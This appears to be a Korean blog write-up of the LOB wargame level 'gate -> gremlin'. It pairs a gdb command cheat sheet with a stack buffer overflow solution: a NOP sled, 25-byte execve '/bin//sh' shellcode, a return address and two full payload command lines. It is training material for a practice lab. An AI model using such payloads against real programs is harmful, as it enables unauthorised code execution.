본문 바로가기

Wargame/LOB(끝)

gate -> gremlin (gdb 기초 사용법)

기초 gdb 사용법


메모리 조회

x/[범위][출력형식][범위의 단위] [메모리 주소나 함수명]

범위 : 기본 4byte

출력형식

t : 2진수

o : 8진수

d : 부호없는 10진수

u : 부호없는 10진수

x : 16진수 (주로 이걸 사용할 듯)

c : 최초 1바이트 값을 문자형으로 출력

f : 부동소수점

a : 가장 가까운 심볼의 오프셋을 출력

s : 문자열로 출력

i : 어셈블리 형식으로 출력

범위의 단위

b : 1 byte 단위

h : 2 byte 단위

w : 4 byte 단위

g : 8 byte 단위


Ex)

x/200x $esp : esp 주소로 부터 16진수로 200바이트 만큼 보기


브레이크 포인트

break func : func         함수의 시작부분에 브레이크 포인트 설정

break 10                        10번째 줄에 브레이크 포인트 설정

break asdf.c:func       asdf.c 파일에 func 함수의 시작부분에 브레이크 포인트 설정

break asdf.c:10            asdf.c 파일의 10번째 줄에 브레이크 포인트 설정

break *0x12341234    0x12341234 에 브레이크 포인트 설정


소스 보기

list            소스 보기 (main 기준)

list func    소스보기 (func 기준)


진행 명령어

run 프로그램 실행

kill 프로그램 수행 종료

step 한 줄 실행 (함수 호출 시 함수 안으로 들어감)

next 한 줄 실행 (함수 호출 시 함수 수행하고 다음 줄로 감)




256 + 4 = 총 260 만큼 스택을 가진다

쉘코드가 25 짜리므로,

NOP * 35 + (SHELLCODE 25) + NOP * 200 + RET

bffffbac

\xac\xfb\xff\xbf

payload
./gremlin `python -c 'print "\x90"*55 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*180 + "\xac\xfb\xff\xbf"'`

세그먼트 오류.
--> 쉘을 bash 로 진행하여, \xff 을 \x00 으로 인식함.

chsh
/bin/bash2 로 쉘을 변경

bffffb7c
\x7c\xfb\xff\xbf

payload
./gremlin `python -c 'print "\x90"*55 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*180 + "\x7c\xfb\xff\xbf"'`

성공
hello bof world


'Wargame > LOB(끝)' 카테고리의 다른 글

orc -> wolfman  (0) 2015.01.28
goblin -> orc  (0) 2015.01.28
cobolt -> goblin  (0) 2015.01.28
gremlin -> cobolt  (0) 2015.01.23
Stack Frame Pointer Overflow  (1) 2015.01.22